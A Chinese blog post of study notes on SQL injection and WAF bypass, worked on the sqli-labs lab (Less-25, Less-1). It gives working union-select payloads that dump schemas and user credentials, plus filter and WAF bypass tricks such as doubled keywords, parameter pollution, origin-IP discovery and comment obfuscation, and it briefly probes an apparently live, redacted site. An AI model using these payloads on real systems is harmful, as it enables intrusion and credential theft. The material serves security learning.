简介

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。


本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧

本博客的所有Security 大类下的文章只能作为学习研究使用不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络

如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)

中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。


介绍

分类

sql 注入大致分为3类分别为 白盒绕过 黑盒绕过 fuzz测试

前置准备

说明:此次练习的环境是基于 windows7 下用 phpStudy2018 搭建的 sqli-labs 靶场以 Less-25 关卡进行演示

重置sqli-labs数据库

我这边是因为之前做用工具对靶场进行了安全扫描 怕有一些干扰因此先重置一下防止出问题

如果是第一次部署sqli-labs 需要将 sqli\sql-connections\db-creds.inc 文件中的数据库密码进行配置 大概是在第五行 $dbpass ='你的数据库密码';

重置数据库时候需要将 php 版本需要选择 5.2.17

重置sqli-labs数据库

调整php版本

在 sqli-labs 进行注入的时候,php版本需要选择5.4.45 如果低于这个版本会出现一些错误 也就是上面改成低版本这里又要改改回5.4.45了

phpStudy 环境设置

输出 sql 语句

为了方便展示,我们需要在执行 sql 注入的时候查看一下我们的执行语句,因此在对应的关卡中加入输入 语法如下 如果是docker启动的 那么该文件在 /var/www/html/Less-25/index.php 修改前最好备份.bak

1
2
echo $sql;
echo"<br>";

加入 echo 输出执行的 sql 语句

修改Less-1的请求方式

将Less-1 关卡中index.php 中默认的get请求替换为 RESUEST 这样可以同时支持 get 和 post 方便练习

修改Less-1的请求方式

mysql中的注释

注释符

1
2
3
4
5
6
-- 不带注释
SELECT * FROM users WHERE id = 1;
#通过注释符号【#】号注释
SELECT * FROM users WHERE id = 2;
-- 通过减减空格注释
SELECT * FROM users WHERE id = 3;

注释符

多行注释

1
2
SELECT * FROM users WHERE id = 1;
SELECT * FROM users /*这是mysql的多行注释只要注释体内就不会影响外面的*/WHERE id = 1;

多行注释

特殊注释

其实这里我也有点蒙,看了一些资料说的是数字小于mysql的版本就会执行 但是这个第二条 51000 又没有执行出来 所以还是不要卡太死 这个是mysql的一个特性 根据版本号有关

1
2
3
4
SELECT /*!60000 DATABASE(),*/ VERSION();
SELECT /*!51000 DATABASE(),*/ VERSION();
SELECT /*!50000 DATABASE(),*/ VERSION();
SELECT /*!40000 DATABASE(),*/ VERSION();

mysql的特殊注释

mysql中的换行

1
2
3
-- 用HackBar 进行测试的时候换行符号用 %0a 表示
select 1,2#ssssihhigiugiusgiug
,3;

mysql 终端换行

练习

白盒绕过

通过源代码分析,来进行绕过 例:less-25 当前用的腾讯云上 docker 安装的 sqli-labs 并未安装安全狗防护

执行 id=1

1
2
-- 通过HackBar执行 显示正常
http://sqli:8200/Less-25/?id=1

执行 id=1

执行 id=1’

1
2
-- 此时报错,说明存在漏洞
http://sqli:8200/Less-25/?id=1'

执行 id=1'

执行id=1’ orderby 1 –+

使用 order by 语句发现报错,无法使用,观察打印出来的原因是过滤了 or

1
http://sqli:8200/Less-25/?id=1' orderby 1 --+

执行id=1' orderby 1 --+

尝试双写 oorrderby

1
2
-- 返回正常,并且能判断有3列
http://sqli:8200/Less-25/?id=1 oorrderby 1 --+

尝试双写 oorrderby

执行id=1’ and ‘1’=’1

1
http://sqli:8200/Less-25/?id=1' and '1'='1

执行id=1' and '1'='1

尝试双写 aandnd

1
http://sqli:8200/Less-25/?id=1' aandnd '1'='1

尝试双写 aandnd

执行union select回显

查看是否支持回显

1
2
-- 5 6支持回显
http://sqli:8200/Less-25/?id=-1' union select 4,5,6 --+

执行union select查看回显

union select 回显查询当前的库

1
2
-- 查询当前的库
http://sqli:8200/Less-25/?id=-1' union select 4,5,database() --+

union select 回显查看当前的库名

查看所有的库

group_concat()拼接函数拼接括号里面的那个字段,查询所有的库把所有的结果拼接起来 infoorrmation 要双写因为上面测试发现 or 被过滤掉了

1
http://sqli:8200/Less-25/?id=-1' union select 4,5,group_concat(schema_name) from infoorrmation_schema.schemata --+

查看所有的库

查看security库下的表

通过上面database()我们已经知道了当前的库名为 security,那么可以对其查询下面的表有哪些 infoorrmation 要双写因为上面测试发现 or 被过滤掉了0x7365637572697479 为16进制编码后的security %23 为【- - +】url编码后的值

1
http://sqli:8200/Less-25/?id=-1' union select 4,5,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 %23

查看security库下的表

查看users表有哪些字段

infoorrmationaandnd 要双写因为上面测试发现 or and 都被过滤掉了

1
http://sqli:8200/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security'  aandnd table_name='users' --+

查看users表有哪些字段

查看security.users表下 username,password 的值

查看security.users表下 username,password 的值 passwoorrd 要双写,要双写因为上面测试发现 or 被过滤掉了 0X23是 #号通过16进制编码后的结果 concat_ws函数是拼接字段的函数

1
http://sqli:8200/Less-25/?id=-1' union select 1,2,group_concat(concat_ws(0x23,username,passwoorrd)) from security.users --+

查看security.users表下 username,password 的值

线上环境练习

查看是都存在漏洞

1
2
3
4
-- 返回正常
http://www.xxx.com/view_detail.asp?id=91
-- 报错,说明存在注入
http://www.xxx.com/view_detail.asp?id=91'

order by查看有多少列

1
2
http://www.xxx.com/view_detail.asp?id=91 order by 6
http://www.xxx/view_detail.asp?id=91 order by 7

order by查看有多少列

查看可回显的字段

1
2
3
4
http://www.xxx.com/view_detail.asp?id=91 union select 1,2,3,4,5,6
http://www.xxx.com/view_detail.asp?id=91+union+select+1,2,3,4,5,6
http://www.xxx.com/view_detail.asp?id=91+union+select+1,2,3,4,5,6 from admin_user
-- 下面就可以进行其它的操作了,更多参考:http://testingpai.com/article/1618882195644

查看可回显的字段

黑盒绕过

绕过的四大分类

  • 架构层面绕过waf
  • 资源限制角度绕过waf
  • 协议层面绕过waf
  • 规则层面的绕过waf

架构层面绕过waf

寻找源网站绕过 waf 检测

主要针对的是云waf,找到源网站的真实地址,进行绕过,有点像CDN

1.发邮件:注册账户或者遇到一些异常是 通过邮件查看是否为真实服务器的IP

2.超级ping:对于某些偏远 用户访问量小的可能提供的服务是从真实服务器IP进行处理

3.海外服务:通过代理海外的IP去访问服务,如果企业没有海外CDN、云waf 可能就会提供真实的服务器IP进行处理

4.ico文件:获取云waf title 中的ico小图标 计算 Hash 值 通过fofa 查找 Hash值,如果有相同的那么另外一台或几台可能就是真实服务器的IP或者也有可能是另外一些云waf

寻找源网站绕过wa检测

通过同网段绕过Waf防护

在一个网段中,可能经过的数据不会经过云Waf,从而实现绕过。 这里就需要能难到同网段的机器或者通过同网段的进行转发

局域网绕过waf

资源限制角度绕过waf

一般waf的执行需要优先考虑业务优先的原则,所以对于构造较大、超大数据包可能不会进行检测,从而实现绕过waf。

Http Get方法提交的数据大小长度并没有限制,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。如:IE对URL长度的限制是2083字节(2K+35)。Google (chrome) URL最大长度限制为8182个字符。

理论上讲,POST是没有大小限制的。HTTP协议规范也没有进行大小限制,起限制作用的是服务器的处理程序的处理能力。如:在Tomcat下取消POST大小的限制(Tomcat默认2M)

post 传参

1
2
3
4
-- 请求地址
http://192.168.151.5/sqli/Less-1/
-- body 体
id=1' union select 1,2,3 #

post传参

尝试查看库名

1
2
#请求的 body 体
id=-1' union select 1,2,database() #

尝试查看库名失败 触发waf

超大数据包-FIXME

1
id=-1' /*超大数据包内容*/ union select 1,2,database() #

超大数据包

协议层面绕过waf

协议未覆盖绕过waf

比如由于业务需要,只对get型进行检测,post数据选择忽略 宝塔就是这个典型 那么对于那些既可以发起get又能通过post的就可以开始挑战了

参数污染

index?id=18&id=2 waf可能只对id=1进行检测 这个策略主要也是针对宝塔

1
2
3
4
-- 执行此语句提示触发宝塔waf
http://192.168.1.118/sqli/Less-1/?id=1 union select 1,2,database() --+
-- 参数污染 通过加上多个重复的参数 去干扰 waf
http://192.168.1.118/sqli/Less-1/?id=?id=?id=?id=-1' union select 1,2,database() --+

宝塔参数污染

规则层面的绕过waf

sql注释符绕过

1
union /**/select

空白符绕过

对关键字监测的地方尝试用空白符隔开

空白符

函数分割符号

将一个函数进行分割 concat() %25其实就是百分号 %25A0 就是空白符
concat%2520
concat/**/(
concat%250c(
concat%25a0(

浮点数词法解释

waf 对于id=1可以进行检测,但是对于d=1E0、id=1.0、id=\N可能就无法检测

利用error- based进行sq注入

报错注入现在 的时效性并不好了,基本上都能被waf拦截了

1
2
3
4
5
6
7
8
extractvalue(1, concat(0X5c,md5(3)));
updatexml(1, concat(0x5d,md5(3)),1);
GeometryCollection((select*from(select*from(select@@version))f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()

mysql特殊语法

1
2
3
select {x schema_name} from {x information_schema.schemata};
select{x 1}
select {xdsdsd database()};

mysql特殊语法

代码规则的waf

大小写绕过:如果对关键字 and or union等进行了过滤,可以考虑使用大小写混合的方法 Or aNd UniOn 但是很多时候有函数会部分大小写进行过滤,这个时候我们可以考虑
使用双写的方法

关键字重复:OORr→or

关键字替换:如果还是无法绕过,可以考虑替换的方法 and→&& or→|| like可以替换= <>等价于!=

练习-TODO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-- 拦截
http://192.168.151.5/sqli/Less-1/?id=1' union select 1,2,3 --+
-- 正常
http://192.168.151.5/sqli/Less-1/?id=1' union 1,2,3 --+
-- 正常
http://192.168.151.5/sqli/Less-1/?id=1' select 1,2,3 --+
-- 正常
http://192.168.151.5/sqli/Less-1/?id=1' union /*select*/ 1,2,3 --+
-- 拦截
http://192.168.151.5/sqli/Less-1/?id=1' union /*!select*/ 1,2,3 --+
-- 正常
http://192.168.151.5/sqli/Less-1/?id=1' union /*!12345*/ 1,2,3 --+
-- 拦截
http://192.168.151.5/sqli/Less-1/?id=1' union /*!12345 database()*/ 1,2,3 --+
-- 拦截
http://192.168.151.5/sqli/Less-1/?id=1' union /*!12345 select*/ 1,2,3 --+